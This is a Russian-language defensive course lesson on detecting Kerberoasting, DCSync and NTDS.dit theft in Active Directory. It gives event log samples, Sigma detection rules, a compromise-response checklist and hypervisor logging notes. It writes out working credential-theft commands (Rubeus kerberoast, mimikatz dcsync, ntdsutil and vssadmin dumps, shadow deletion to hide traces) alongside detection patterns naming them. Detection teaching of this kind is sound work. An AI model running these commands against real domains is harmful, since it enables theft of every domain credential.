В Active Directory любой пользователь может запросить сервисный билет — Service Ticket для любой зарегистрированной службы в домене и имеющий Service Principal Name (SPN), независимо от статуса службы. Service Ticket частично зашифрован ключом Kerberos, полученным из пароля пользователя сервиса, что позволяет подобрать оффлайн пароль, расшифровывая Service Ticket.

Большинство служб регистрируются в учетных записях компьютеров с автоматически генерируемыми паролями длиной 120 символов, меняющимися ежемесячно, что делает взлом Service Ticket невозможным. Однако иногда службы привязываются к обычным учетным записям пользователей со слабыми паролями, что может быть использовано для взлома и получения паролей пользователей.

Атака Kerberoasting заключается в запросе Service Ticket для обычных учетных записей пользователей служб и последующей попытке взлома для получения паролей пользователей, которые обычно имеют высокие привилегии и далее используются на следующих этапах атак.

Проверим учетные записи пользователей с именами участников-служб с помощью ADFind, выполнив команду.

adfind -b dc=lab,dc=local -f "(&(samAccountType=805306368)(servicePrincipalName=*))"

В результате получаем две учетный записи с SPN`ами — это krbtgt, который не попал на скриншот в связи с тем, что его не взломать подбором. Вторая учетная запись с SPN выделена на скриншоте sqlservice — это как раз тот самый лакомый кусочек для злоумышленника. Запросив Servcie Ticket для учетной записи sqlservice, злоумышленник может взламывать его у себя на хосте с помощью hashcat.

Для получения Service Ticket и дальнейшего оффлайн взлома, злоумышленник можете использовать следующие скрипты impacket GetUserSPNs.py, команду Rubeus kerberoast или сценарий Invoke-Kerberoast.ps1.

Проведем атаку с помощью утилиты Rubeus используя команду Rubeus.exe kerberoast и результатом получаем хэши от пароля для учетной записи sqlservice на скриншоте ниже, которые можем дальше взламывать.

Посмотрим как это будет зафиксировано в журналах событий на AD. При запросе Service Ticket сгенерировалось событие c EventID = 4769 в журнале Security. Обратите внимание на следующие важные поля:

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /> 
  <EventID>4769</EventID> 
  <Version>0</Version> 
  <Level>0</Level> 
  <Task>14337</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8020000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-04T23:59:03.715787300Z" /> 
  <EventRecordID>94453</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="480" ThreadID="1780" /> 
  <Channel>Security</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="TargetUserName">Nick@LAB.LOCAL</Data> 
  <Data Name="TargetDomainName">LAB.LOCAL</Data> 
  <Data Name="ServiceName">sqlservice</Data> 
  <Data Name="ServiceSid">S-1-5-21-1043167210-2633990363-2710869231-1118</Data> 
  <Data Name="TicketOptions">0x40800000</Data> 
  <Data Name="TicketEncryptionType">0x17</Data> 
  <Data Name="IpAddress">192.168.0.5</Data> 
  <Data Name="IpPort">58334</Data> 
  <Data Name="Status">0x0</Data> 
  <Data Name="LogonGuid">{9B1A0512-6224-531F-E2B8-C5A47A332D75}</Data> 
  <Data Name="TransmittedServices">-</Data> 
  </EventData>
  </Event>

Важное замечание: подобных событий c EventID = 4769 будет огромное множество в инфраструктуре. Это обычная активность.

Для повышения эффективности атаки злоумышленник может запросить несколько Service Ticket за короткий промежуток времени, чтобы получить для дальнейшего брутфорса как можно больше данных, так как он заведомо не знает, у какой сервисной или пользовательской УЗ пароль будет менее криптостойким. Подобную активность можно попытаться выявить корреляционным правилом, которое отслеживает множественные запросы Service Ticket от одного источника за короткий промежуток времени.

Для выявления атаки также можно отслеживать запросы Service Ticket c шифрованием RC4, но может быть большое количество ложных срабатываний, если в инфраструктуре есть сервисы, которые используют устаревшее шифрование.

Пример правила для выявления запроса Service Ticket с шифрованием RC4 на Sigma:

title: Suspicious Kerberos RC4 Ticket Encryption
id: 496a0e47-0a33-4dca-b009-9e6ca3591f39
status: test
description: Detects service ticket requests using RC4 encryption type
references:
    - https://adsecurity.org/?p=3458
    - https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity
author: Florian Roth (Nextron Systems)
date: 2017/02/06
modified: 2022/06/19
tags:
    - attack.credential_access
    - attack.t1558.003
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketOptions: '0x40810000'
        TicketEncryptionType: '0x17'
    reduction:
        ServiceName|endswith: '$'
    condition: selection and not reduction
falsepositives:
    - Service accounts used on legacy systems (e.g. NetApp)
    - Windows Domains with DFL 2003 and legacy systems
level: medium

Самый оптимальный способ выявления атаки kerberoasting — использование SPN HoneyToken. HoneyToken — это в данном случае подделанная учетная запись приманка с SPN, которая потом отслеживается на возникающие к ней запросы, т.к. в легитимных целях она не используется. Дополнительный материал об атаке Kerberoasting.

Атака DCSync

DCSync — это атака, позволяющая злоумышленнику выдавать себя за контроллер домена (DC, domain controller) с целью получения базы учетных данных пользователей для последующего горизонтального перемещения в сети и/или доступа к конфиденциальной информации. В основе атаки лежит механизм, предусмотренный для выполнения репликации данных между контроллерами домена (DC).

Механизм репликации данных архитектурно заложен в операционной системе Windows. Службы Active Directory и протокол MS-DRSR отвечают за взаимодействие между контроллерами домена и осуществляют репликацию. Сама компания Microsoft рекомендует изначально устанавливать как минимум два и более контроллера для одного домена в корпоративной сети, чтобы обеспечить отказоустойчивость доменной инфраструктуры. В процессе репликации данных между контроллерами помимо обычных атрибутов об объекте (имя, отчество, списка групп и так далее) передается и чувствительная информация, например, хеши паролей пользователей, поскольку каждый контроллер выступает как точка для аутентификации и авторизации в домене.

Как уже можно было догадаться, отчасти именно из-за наличия такого механизма возможна реализация атаки типа DCSync. Атакующий, имея необходимый набор привилегий, может отправить одному из контроллеров домена организации запрос на выполнение репликации. Запросив при этом информацию по одному или нескольким объектам в домене. Таким образом злоумышленник удаленно собирает хеши паролей пользователей и другую полезную информацию в домене без выполнения какого-либо вредоносного кода на самих контроллерах домена организации.

Необходимые права доступа для проведения атаки DCSync.

Наименование

Common Name(общее имя)

Rights-GUID(идентификатор прав)

Replicating Directory Changes

DRS-Replication-Get-Changes

1131f6aa-9c07–11d1-f79f-00c04fc2dcd2

Replicating Directory Changes All

DRS-Replication-Get-Changes-All

1131f6ad-9c07–11d1-f79f-00c04fc2dcd2

Атаку DCSync можно выполнить с помощью инструментов, таких как secretsdump из набора impacket и широко известной утилитой mimikatz.

Например злоумышленник выполняет атаку DCSync с помощью команды 

lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /all /csv

Выявить атаку на контроллере домена можно с помощью события EventID=4662 журнала Security. Важно понимать, что включение аудита события 4662 может повлечь за собой генерацию большого количества событий, особенно при неаккуратной настройке SACL.
Настройка происходит в групповой политике: Computer configurations > Policies > Windows Settings > Security Settings > Local Policies > Audit Policy > Audit Directory Service Access > Enable Success. При настройке этого параметра в журналах будут генерироваться два новых идентификатора события: 4661 и 4662.
Предварительно должен быть так же настроен SACL для отслеживания доступа к объектам AD на контроллере домена связанные с репликацией:

AD Users and Computers >
[Domain] >
properties >
security >
advanced >
auditing > add:
Principal: Everyone
Type: Success
Applies to: This Object Only
Permissions: Replicating Directory Changes; Replicating Directory Changes All

В результате атаки фиксируется событие, в котором необходимо обратить внимание на поле:

<Data Name="Properties">%%7688 {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-00c04fd930c9}</Data>
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /> 
  <EventID>4662</EventID> 
  <Version>0</Version> 
  <Level>0</Level> 
  <Task>14080</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8020000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T14:41:31.872715100Z" /> 
  <EventRecordID>111044</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="480" ThreadID="3808" /> 
  <Channel>Security</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="SubjectUserSid">S-1-5-21-1043167210-2633990363-2710869231-500</Data> 
  <Data Name="SubjectUserName">administrator</Data> 
  <Data Name="SubjectDomainName">LAB</Data> 
  <Data Name="SubjectLogonId">0x45440</Data> 
  <Data Name="ObjectServer">DS</Data> 
  <Data Name="ObjectType">%{19195a5b-6da0-11d0-afd3-00c04fd930c9}</Data> 
  <Data Name="ObjectName">%{83fb1e47-6d25-4d4b-a710-e244aca1c5e8}</Data> 
  <Data Name="OperationType">Object Access</Data> 
  <Data Name="HandleId">0x0</Data> 
  <Data Name="AccessList">%%7688</Data> 
  <Data Name="AccessMask">0x100</Data> 
  <Data Name="Properties">%%7688 {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-00c04fd930c9}</Data> 
  <Data Name="AdditionalInfo">-</Data> 
  <Data Name="AdditionalInfo2" /> 
  </EventData>
  </Event>

Пример правила для выявления атаки DCSync и в том числе DCShadow на Sigma. Дополнительный материал про DCSync.

Получение базы даных NTDS.dit

Контроллер домена отвечает за хранение базы данных домена NTDS.dit со всей информацией об объектах домена и обслуживает службы Active Directory, такие как аутентификация, авторизация, разрешение имен и т.д.

База данных хранится в файле C:\Windows\NTDS\ntds.dit на контроллере домена. Поэтому, если кто-то украдет этот файл, он сможет получить доступ ко всей информации об объектах домена (компьютерах, пользователях, группах, политиках и т.д.), включая учетные данные и хэши пользователей. Следовательно, доступ к этому файлу и к контроллерам домена должен быть ограничен администраторами домена и отслеживаться корреляционными правилам командой мониторинга SOC.

При получении доступа к учетной записи администратора домена, можно сделать дамп содержимого базы данных контроллера домена, чтобы прочитать некоторые конфиденциальные данные, такие как krbtgt учетные данные пользователя, для создания золотого билета (Golden Ticket) и дальнейшего свободного продвижения по всей Windows инфраструктуре.
Чтобы извлечь содержимое базы данных, злоумышленник может войти в систему на контроллере домена и локально выгрузить файл NTDS.dit с помощью встроенных в системе утилит ntdsutil или vssadmin. Данные утилиты нужны, потому что просто так взять и скопировать файл C:\Windows\NTDS\ntds.dit не получится так, как он используется всегда системой. Есть еще наиболее изящный для злоумышленников способов заполучить базу NTDS.dit, злоумышленник может заполучить административный доступ к системе виртуализации, где у него будет возможность сделать мгновенный снимок (SnapShot) виртуальной машины с сервером Active Directory, далее он выгружает к себе снимок виртуальной машины и делает с ним что хочет, в нашем случае, разбирает базу NTDS.dit. При этом система мониторинга уже это не сможет выявить, если только отслеживать на более раннем этапе действия учтеных записей по созданию снапшотов критичных серверов и их выгрузке из системы виртуализации. Детальнее об этом рассмотрим далее в уроке 4.4 текущего курса.

Рассмотрим вариант дампа базы NTDS.dit с помощью утилиты ntdsutil. Классическая команда выглядит следующим образом

ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit

Выполнение вышеуказанной команды можно зафиксировать с помощью события создания процесса EventID=1 журнала Symon, EventID=4688 журнала Security и с помощью события запуска скриптблоков EventID=4104 журнала Powershell на контроллере домена.

Обратите ниже внимание на строку в событии c EventID=1(Sysmon)

<Data Name="CommandLine">ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit</Data>
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" /> 
  <EventID>1</EventID> 
  <Version>5</Version> 
  <Level>4</Level> 
  <Task>1</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T09:42:40.633769700Z" /> 
  <EventRecordID>8119972</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="1604" ThreadID="2020" /> 
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="RuleName">-</Data> 
  <Data Name="UtcTime">2024-02-10 09:42:40.602</Data> 
  <Data Name="ProcessGuid">{460797FE-4510-65C7-AF07-000000001800}</Data> 
  <Data Name="ProcessId">3856</Data> 
  <Data Name="Image">C:\Windows\System32\ntdsutil.exe</Data> 
  <Data Name="FileVersion">6.3.9600.16384 (winblue_rtm.130821-1623)</Data> 
  <Data Name="Description">NT5DS</Data> 
  <Data Name="Product">Microsoft® Windows® Operating System</Data> 
  <Data Name="Company">Microsoft Corporation</Data> 
  <Data Name="OriginalFileName">ntdsutil.exe</Data> 
  <Data Name="CommandLine">ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit</Data> 
  <Data Name="CurrentDirectory">C:\Temp\</Data> 
  <Data Name="User">LAB\Administrator</Data> 
  <Data Name="LogonGuid">{460797FE-9671-65BE-4054-040000000000}</Data> 
  <Data Name="LogonId">0x45440</Data> 
  <Data Name="TerminalSessionId">1</Data> 
  <Data Name="IntegrityLevel">High</Data> 
  <Data Name="Hashes">MD5=0741B31AF51B150DF84BFEFD4A15C624,SHA256=D2C7BD14D91124401AAC6F19DD2D2EDDA0EAAC55CFFB654583444137960EEDCA,IMPHASH=6D8CC7C1C74B6AA69C6C1F189D5781D9</Data> 
  <Data Name="ParentProcessGuid">{460797FE-9696-65BE-3A00-000000001800}</Data> 
  <Data Name="ParentProcessId">2056</Data> 
  <Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data> 
  <Data Name="ParentCommandLine">"C:\Windows\system32\cmd.exe"</Data> 
  <Data Name="ParentUser">LAB\Administrator</Data> 
  </EventData>
  </Event>

Так же сгенерировалось событие создания файла с EventID=11 журнала Sysmon. Обратите внимание на следующие поля:

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" /> 
  <EventID>11</EventID> 
  <Version>2</Version> 
  <Level>4</Level> 
  <Task>11</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T09:42:51.306219100Z" /> 
  <EventRecordID>8120158</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="1604" ThreadID="2020" /> 
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="RuleName">Suspicious</Data> 
  <Data Name="UtcTime">2024-02-10 09:42:51.306</Data> 
  <Data Name="ProcessGuid">{460797FE-4510-65C7-AF07-000000001800}</Data> 
  <Data Name="ProcessId">3856</Data> 
  <Data Name="Image">C:\Windows\system32\ntdsutil.exe</Data> 
  <Data Name="TargetFilename">C:\Windows\Temp\NTDS\Active Directory\ntds.dit</Data> 
  <Data Name="CreationUtcTime">2024-02-10 09:42:51.306</Data> 
  <Data Name="User">LAB\Administrator</Data> 
  </EventData>
  </Event>

Пример правила на Sigma для выявления атак связанных с кражей ntds.dit ниже.

title: Suspicious Process Patterns NTDS.DIT Exfil
id: 8bc64091-6875-4881-aaf9-7bd25b5dda08
status: test
description: Detects suspicious process patterns used in NTDS.DIT exfiltration
references:
    - https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration
    - https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/
    - https://pentestlab.blog/tag/ntds-dit/
    - https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1
    - https://github.com/zcgonvh/NTDSDumpEx
    - https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1
    - https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1
author: Florian Roth (Nextron Systems)
date: 2022/03/11
modified: 2022/11/10
tags:
    - attack.credential_access
    - attack.t1003.003
logsource:
    product: windows
    category: process_creation
detection:
    selection_tool:
        # https://github.com/zcgonvh/NTDSDumpEx
        - Image|endswith:
              - '\NTDSDump.exe'
              - '\NTDSDumpEx.exe'
        - CommandLine|contains|all:
              # ntdsdumpex.exe -d ntds.dit -o hash.txt -s system.hiv
              - 'ntds.dit'
              - 'system.hiv'
        - CommandLine|contains: 'NTDSgrab.ps1'
    selection_oneliner_1:
        # powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
        CommandLine|contains|all:
            - 'ac i ntds'
            - 'create full'
    selection_onliner_2:
        # cmd.exe /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
        CommandLine|contains|all:
            - '/c copy '
            - '\windows\ntds\ntds.dit'
    selection_onliner_3:
        # ntdsutil "activate instance ntds" "ifm" "create full c:\windows\temp\data\" "quit" "quit"
        CommandLine|contains|all:
            - 'activate instance ntds'
            - 'create full'
    selection_powershell:
        CommandLine|contains|all:
            - 'powershell'
            - 'ntds.dit'
    set1_selection_ntds_dit:
        CommandLine|contains: 'ntds.dit'
    set1_selection_image_folder:
        - ParentImage|contains:
              - '\apache'
              - '\tomcat'
              - '\AppData\'
              - '\Temp\'
              - '\Public\'
              - '\PerfLogs\'
        - Image|contains:
              - '\apache'
              - '\tomcat'
              - '\AppData\'
              - '\Temp\'
              - '\Public\'
              - '\PerfLogs\'
    condition: 1 of selection* or all of set1*
falsepositives:
    - Unknown
level: high

Рассмотрим следующий вариант дампа базы ntds.dit с помощью утилиты vssadmin. Классическая команда выглядит следующим образом vssadmin create shadow /for=C:. Выявить активность можно с помощью событий EventID=4688 журнала Security, EventID=1 журнала Sysmon.

Обратите внимание на зафиксированную командную строку в событии   <Data Name="CommandLine">vssadmin create shadow /for=C:</Data> 

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" /> 
  <EventID>1</EventID> 
  <Version>5</Version> 
  <Level>4</Level> 
  <Task>1</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T12:14:55.042278500Z" /> 
  <EventRecordID>8140166</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="1604" ThreadID="2020" /> 
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="RuleName">-</Data> 
  <Data Name="UtcTime">2024-02-10 12:14:55.026</Data> 
  <Data Name="ProcessGuid">{460797FE-68BF-65C7-EC07-000000001800}</Data> 
  <Data Name="ProcessId">860</Data> 
  <Data Name="Image">C:\Windows\System32\vssadmin.exe</Data> 
  <Data Name="FileVersion">6.3.9600.17415 (winblue_r4.141028-1500)</Data> 
  <Data Name="Description">Command Line Interface for Microsoft® Volume Shadow Copy Service</Data> 
  <Data Name="Product">Microsoft® Windows® Operating System</Data> 
  <Data Name="Company">Microsoft Corporation</Data> 
  <Data Name="OriginalFileName">VSSADMIN.EXE</Data> 
  <Data Name="CommandLine">vssadmin create shadow /for=C:</Data> 
  <Data Name="CurrentDirectory">C:\Temp\</Data> 
  <Data Name="User">LAB\Administrator</Data> 
  <Data Name="LogonGuid">{460797FE-9671-65BE-4054-040000000000}</Data> 
  <Data Name="LogonId">0x45440</Data> 
  <Data Name="TerminalSessionId">1</Data> 
  <Data Name="IntegrityLevel">High</Data> 
  <Data Name="Hashes">MD5=D9EE4ACBA0FD5AF721EC2CE5226B5E2E,SHA256=AF08DA2358D55665FAE06AE694129B5F3778989E93F5F369E0B594E1A2BC521E,IMPHASH=E29ADBD24C814ABA83B2027E5BB6C452</Data> 
  <Data Name="ParentProcessGuid">{460797FE-9696-65BE-3A00-000000001800}</Data> 
  <Data Name="ParentProcessId">2056</Data> 
  <Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data> 
  <Data Name="ParentCommandLine">"C:\Windows\system32\cmd.exe"</Data> 
  <Data Name="ParentUser">LAB\Administrator</Data> 
  </EventData>
  </Event>

Соответственно мы обнаружим создание файла C:\Windows\Temp\ntds.dit.save в событие EventID=11 журнала Sysmon. 

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" /> 
  <EventID>11</EventID> 
  <Version>2</Version> 
  <Level>4</Level> 
  <Task>11</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T12:19:54.526660200Z" /> 
  <EventRecordID>8140853</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="1604" ThreadID="2020" /> 
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="RuleName">Executable</Data> 
  <Data Name="UtcTime">2024-02-10 12:19:54.526</Data> 
  <Data Name="ProcessGuid">{460797FE-9696-65BE-3A00-000000001800}</Data> 
  <Data Name="ProcessId">2056</Data> 
  <Data Name="Image">C:\Windows\system32\cmd.exe</Data> 
  <Data Name="TargetFilename">C:\Windows\Temp\ntds.dit.save</Data> 
  <Data Name="CreationUtcTime">2024-02-10 12:19:54.526</Data> 
  <Data Name="User">LAB\Administrator</Data> 
  </EventData>
  </Event>

Для заметания следов следующим шагом злоумышленник может выполнить команду:

vssadmin delete shadows /shadow={e1f24f05-c919-4f96-ac60-fad4bfb07459}

Обратите внимание на зафиксированную команду в событии:   

<Data Name="CommandLine">vssadmin delete shadows /shadow={e1f24f05-c919-4f96-ac60-fad4bfb07459}</Data>
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" /> 
  <EventID>1</EventID> 
  <Version>5</Version> 
  <Level>4</Level> 
  <Task>1</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T12:25:31.136231200Z" /> 
  <EventRecordID>8141617</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="1604" ThreadID="2020" /> 
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="RuleName">-</Data> 
  <Data Name="UtcTime">2024-02-10 12:25:31.136</Data> 
  <Data Name="ProcessGuid">{460797FE-6B3B-65C7-F207-000000001800}</Data> 
  <Data Name="ProcessId">3332</Data> 
  <Data Name="Image">C:\Windows\System32\vssadmin.exe</Data> 
  <Data Name="FileVersion">6.3.9600.17415 (winblue_r4.141028-1500)</Data> 
  <Data Name="Description">Command Line Interface for Microsoft® Volume Shadow Copy Service</Data> 
  <Data Name="Product">Microsoft® Windows® Operating System</Data> 
  <Data Name="Company">Microsoft Corporation</Data> 
  <Data Name="OriginalFileName">VSSADMIN.EXE</Data> 
  <Data Name="CommandLine">vssadmin delete shadows /shadow={e1f24f05-c919-4f96-ac60-fad4bfb07459}</Data> 
  <Data Name="CurrentDirectory">C:\Temp\</Data> 
  <Data Name="User">LAB\Administrator</Data> 
  <Data Name="LogonGuid">{460797FE-9671-65BE-4054-040000000000}</Data> 
  <Data Name="LogonId">0x45440</Data> 
  <Data Name="TerminalSessionId">1</Data> 
  <Data Name="IntegrityLevel">High</Data> 
  <Data Name="Hashes">MD5=D9EE4ACBA0FD5AF721EC2CE5226B5E2E,SHA256=AF08DA2358D55665FAE06AE694129B5F3778989E93F5F369E0B594E1A2BC521E,IMPHASH=E29ADBD24C814ABA83B2027E5BB6C452</Data> 
  <Data Name="ParentProcessGuid">{460797FE-9696-65BE-3A00-000000001800}</Data> 
  <Data Name="ParentProcessId">2056</Data> 
  <Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data> 
  <Data Name="ParentCommandLine">"C:\Windows\system32\cmd.exe"</Data> 
  <Data Name="ParentUser">LAB\Administrator</Data> 
  </EventData>
  </Event>

 Далее злоумышленник любым из возможных способов может забрать к себе файл C:\Windows\Temp\ntds.dit.save.

Действия при компроментации системы

  1. Сбросьте все пароли учетных записей пользователей:
    • сбросьте дважды (с интервалом не менее восьми часов) пароль пользователя KRBTGT;
    • сбросить все пароли администратора;
    • сбросить пароли всех сервисных учетных записей;
    • сбросить все пароли учетных записей компьютеров.
  2. Проверьте значение параметра срока жизни пароля для компьютеров. Злоумышленники могут изменить этот срок, чтобы предоставить себе доступ с использованием машинных хэшей на более длительный срок.
  3. Сбросить все пароли LAPS.
  4. Сбросить разрешения для объекта AdminSDHolders.
  5. Удалить у всех администраторов домена и администраторов систем все данные из атрибута msDS-KeyCredentialLink.
  6. Занести всех администраторов домена и администраторов систем в группу Protected Users.
  7. Отозвать и перевыпустить все сертификаты ADCS.
  8. Проверьте наличие вредоносных запланированных задач.
  9. Проверьте наличие вредоносных автозапусков или других механизмов сохранения на основе реестра.
  10. Проверьте наличие бэкдоров в стиле utilman.
  11. Проверьте наличие вредоносных принтеров/драйверов принтеров.
  12. Просмотрите права делегированного доступа Active Directory (RBCD Bakdoors).
  13. Ротация сертификатов подписи токенов ADFS и сертификатов расшифровки токенов.
  14. Проверьте дескрипторы безопасности Service Control Manager (SCM).
  15. Проверьте наличие изменений объекта в соответствии с первоначальными временными рамками доступа/событий.
  16. Проверка членства в группах на соответствие известным базовым показателям.
  17. Просмотрите сценарии входа в GPO и SYSVOL.
  18. Просмотрите домены и доверительные отношения Active Directory.
  19. Установить все последние обновления безопасности.

 

Blue team

Контроль системы виртуализации

Популярные систем виртуализации

VMware vSphere/ESXi

vSphere комплексное решение, объединяющее физические ресурсы в общую инфраструктуру. Основой vSphere является гипервизор ESXi, который устанавливается непосредственно на сервер и позволяет создавать и управлять виртуальными машинами. Гипервизор ESXi обеспечивает высокую производительность и безопасность. 

vCenter Server предоставляет централизованное управление и мониторинг всей виртуализированной инфраструктуры.

VMware ESXi сохраняет активность хоста в лог-файлах, используя установки syslog. Полезные для анализа лог-файлы:

/var/log/auth.log События, связанные с аутентификацией для локальной системы.
/var/log/hostd.log Содержит информацию об агенте, который управляет и настраивает хост ESXi и его виртуальные машины.
/var/log/shell.log запись всех команд, введенных в оболочку ESXi, и событий оболочки
/var/log/syslog.log общие сообщения журнала и может использоваться для устранения неполадок
/var/log/vpxa.log Содержит информацию об агенте, который общается с vCenter Server
/var/log/vmkernel.log действия, связанные с виртуальными машинами и ESXi.
/var/log/vmksummary.log определения статистики доступности и времени работы ESXi
/var/log/vmkwarning.log
/var/log/loadESX.log события, связанные с перезагрузкой хоста ESXi через Quick Boot

Рекомендуется настроить ведение журнала на SIEM. По умолчанию, логи на хостах ESXi хранятся в файловой системе в памяти. Они теряются при перезагрузке хоста и хранятся только 24 часа.

Логи виртуальных машин хранятся в той же директории, что и файлы конфигурации виртуальной машины, и называются vmware.log и vmware*.log2. Путь к лог-файлу должен быть похож на /vmfs/volumes/<datastore>/<virtual machine>/vmware.log.

Ниже пример содержимого лог-файла vmware.log: 

2022-07-15T18:50:30.687Z| vmx| I125: SnapshotVMX_TakeSnapshot start: 'Snapshot 1', deviceState=0, lazy=0, logging=0, quiesced=0, forceNative=0
2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotConfigInfoRead: Done version 7 data.
2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotConfigInfoReadExtra done.
2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotDumpConfigInfo: numDisks = 1 version=7 encoding=UTF-8
2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotDumpConfigInfo: 'ide0:0.fileName' = 'Windows 7.vmdk'
...
2022-07-15T18:50:31.020Z| vmx| I125: DISKLIB-VMFS  : "/vmfs/volumes/4ec4c10b-6e8e3982-e2db-001cc4ded8c6/Windows 7/Windows 7-000001.vmdk" : open successful (10) size = 0, hd = 10527744. Type 3
...
2022-07-15T18:50:31.478Z| vmx| I125: SNAPSHOT: SnapshotBranchDisk: Done with ide0:0.
2022-07-15T18:50:31.478Z| vmx| I125: SnapshotVMX_TakeSnapshot done.
2022-07-15T18:50:31.478Z| vmx| I125: SnapshotVMXTakeSnapshotComplete: Snapshot 1

В этом примере можно увидеть процесс создания снимка для виртуальной машины “Windows 7”. Имя снимка, время его создания и другие детали будут отражены в лог-файле.

Microsoft Hyper-V:

Разработанный Microsoft, Hyper-V предоставляет встроенные инструменты для виртуализации на платформе Windows. Hyper-V включен в операционные системы Windows Server и предоставляет множество возможностей для управления виртуальными машинами и ресурсами.

Группы файлов журналов

Существует 11 различных файлов журналов, которые используются для сбора информации Hyper-V обычным способом просмотра событий, хотя и гораздо более полезным способом. Windows Server 2016 содержит следующие группы файлов журналов, которые помогают устранять неполадки в средах Hyper-V:

Чтобы найти различные журналы событий, специфичные для Hyper-V, в средстве просмотра событий Windows, перейдите в раздел Windows Logs -> Applications and Services Logs -> Microsoft -> Windows.

Нам будет более интересна группа событий Hyper-V-VMMS. Ниже представлены примеры некоторых событий Hyper-V, которые могут помочь отследить действия с виртуальными машинами:

  1. Создание снимка (событие ID 18012): Это событие регистрируется, когда создается новый снимок виртуальной машины. В журнале событий будет указано имя виртуальной машины и имя снимка.

    Источник: Microsoft-Windows-Hyper-V-VMMS
ID события: 18012
Уровень: Информация
